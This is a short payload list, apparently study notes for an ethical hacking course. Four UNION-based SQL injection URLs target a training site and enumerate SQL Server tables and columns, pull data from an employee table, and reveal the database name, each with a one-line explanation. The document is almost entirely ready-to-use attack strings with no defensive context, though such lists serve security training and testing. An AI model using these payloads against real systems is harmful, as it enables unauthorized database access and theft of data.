Payloads
- Attempts to extract table names from a SQL Server database by querying the
sysobjects system table to find user tables (where xtype=char(85) represents user tables).
http://www.certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,TABLE_NAME,3,4 from sysobjects where xtype=char(85)--
- Tries to extract column names from a specific table called 'EMPLOYEE_TABLE' by querying the
information_schema.columns system view.
http://www.certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,column_name,3,4 from DB_NAME.information_schema.columns where table_name ='EMPLOYEE_TABLE'--
- Attempts to extract data from specific columns in an employee table.
http://www.certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from EMPLOYEE_NAME --
- Tries to extract the database name.
http://www.certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,DB_NAME,3,4--